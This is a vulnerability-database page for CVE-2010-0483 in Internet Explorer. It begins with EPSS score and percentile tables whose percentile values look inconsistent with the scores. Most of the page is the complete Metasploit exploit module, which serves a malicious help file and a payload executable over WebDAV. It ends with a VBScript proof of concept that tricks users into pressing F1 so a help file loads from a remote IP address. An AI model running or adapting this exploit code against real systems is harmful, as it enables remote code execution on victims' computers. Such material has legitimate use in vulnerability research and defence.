CVE-2010-0483 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	86.96%	–	–
2023-03-12	–	–	–	97.31%	–
2023-03-26	–	–	–	97.11%	–
2023-05-07	–	–	–	97.27%	–
2023-06-18	–	–	–	97.29%	–
2023-07-30	–	–	–	97.35%	–
2023-10-29	–	–	–	97.33%	–
2023-12-10	–	–	–	97.35%	–
2024-01-21	–	–	–	97.38%	–
2024-03-10	–	–	–	97.42%	–
2024-04-21	–	–	–	97.4%	–
2024-06-02	–	–	–	97.4%	–
2024-06-09	–	–	–	97.43%	–
2024-09-01	–	–	–	97.41%	–
2024-10-13	–	–	–	97.38%	–
2024-11-24	–	–	–	97.41%	–
2024-12-22	–	–	–	97.28%	–
2025-02-09	–	–	–	97.26%	–
2025-03-16	–	–	–	97.19%	–
2025-01-19	–	–	–	97.28%	–
2025-02-16	–	–	–	97.26%	–
2025-03-18	–	–	–	–	80.86%
2025-03-30	–	–	–	–	81.7%
2025-03-30	–	–	–	–	81.7,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	1%
2023-03-26	1%
2023-05-07	1%
2023-06-18	1%
2023-07-30	1%
2023-10-29	1%
2023-12-10	1%
2024-01-21	1%
2024-03-10	1%
2024-04-21	1%
2024-06-02	1%
2024-06-09	1%
2024-09-01	1%
2024-10-13	1%
2024-11-24	1%
2024-12-22	1%
2025-02-09	1%
2025-03-16	1%
2025-01-19	1%
2025-02-16	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # $Id: ms10_022_ie_vbscript_winhlp32.rb 10504 2010-09-28 16:19:50Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Winhlp32.exe MsgBox Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability that occurs when a user presses F1 on MessageBox originated from VBscript within a web page. When the user hits F1, the MessageBox help functionaility will attempt to load and use a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server. This particular version of the exploit implements a WebDAV server that will serve HLP file as well as a payload EXE. During testing warnings about the payload EXE being unsigned were witnessed. A future version of this module might use other methods that do not create such a warning. }, 'Author' => [ 'Maurycy Prodeus', # Original discovery 'jduck' # Metasploit version ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10504 $', 'References' => [ [ 'CVE', '2010-0483' ], [ 'OSVDB', '62632' ], [ 'MSB', 'MS10-023' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981169.mspx' ], [ 'URL', 'http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ], [ 'URL', 'http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Compat' => { 'ConnectionType' => '-find', } }, 'Platform' => 'win', # Tested OK - Windows XP SP3 - jjd 'Targets' => [ [ 'Automatic', { } ], [ 'Internet Explorer on Windows', { # nothing here } ] ], 'DisclosureDate' => 'Feb 26 2010', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/ ret = targets[1] elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/ ret = targets[1] elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/ ret = targets[1] elsif agent =~ /MSIE 7\.0/ ret = targets[1] elsif agent =~ /MSIE 6\.0/ ret = targets[1] else print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end ret end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target) print_status("Responding to GET request from #{cli.peerhost}:#{cli.peerport}") # dispatch based on extension if (request.uri =~ /\.hlp$/i) # # HLP requests sent by IE and the WebDav Mini-Redirector # print_status("Sending HLP to #{cli.peerhost}:#{cli.peerport}...") # Transmit the compressed response to the client send_response(cli, generate_hlp(target), { 'Content-Type' => 'application/octet-stream' }) elsif (request.uri =~ /calc\.exe$/i) # # send the EXE # print_status("Sending EXE to #{cli.peerhost}:#{cli.peerport}...") # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) exe = generate_payload_exe({ :code => p.encoded }) send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' }) else # # HTML requests sent by IE and Firefox # my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] name = rand_text_alphanumeric(rand(8)+8) #path = get_resource.gsub(/\//, '\\') path = request.uri.gsub(/\//, '\\') unc = '\\\\' + my_host + path + name + '.hlp' print_status("Using #{unc} ...") html = %Q|<html> <script type="text/vbscript"> MsgBox "Welcome! Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1 </script> </html> | print_status("Sending HTML page to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html) end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request, target) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { #'DASL' => '<DAV:sql>', #'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request, target) path = request.uri print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}") body = '' if (path =~ /calc\.exe$/i) # Uncommenting the following will use the target system's calc (as specified in the .hlp) #print_status("Sending 404 for #{path} ...") #send_not_found(cli) #return # Response for the EXE print_status("Sending EXE multistatus for #{path} ...") #<lp1:getcontentlength>45056</lp1:getcontentlength> body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag> <lp2:executable>F</lp2:executable> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | elsif (path =~ /\.hlp/i) print_status("Sending HLP multistatus for #{path} ...") body = %Q|<?xml version="1.0"?> <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> <a:response> </a:response> </a:multistatus> | elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) print_status("Sending 404 for #{path} ...") send_not_found(cli) return elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # Generate a HLP file that will trigger the vulnerability # def generate_hlp(target) @hlp_data end # # When exploit is called, load the runcalc.hlp file # def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end path = File.join(Msf::Config.install_root, "data", "exploits", "runcalc.hlp") fd = File.open(path, "rb") @hlp_data = fd.read(fd.stat.size) fd.close super end end

Microsoft Internet Explorer is prone to a remote code execution vulnerability. Source (iSEC Security Research): http://isec.pl/vulnerabilities10.html Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer. Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so. Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform. =============================================================== A copy of test.hlp can be downloaded from here: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11615.zip (msgbox_test_help.zip) =============================================================== <html> <script type="text/vbscript"> big = "\\184.73.14.110\PUBLIC\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </html>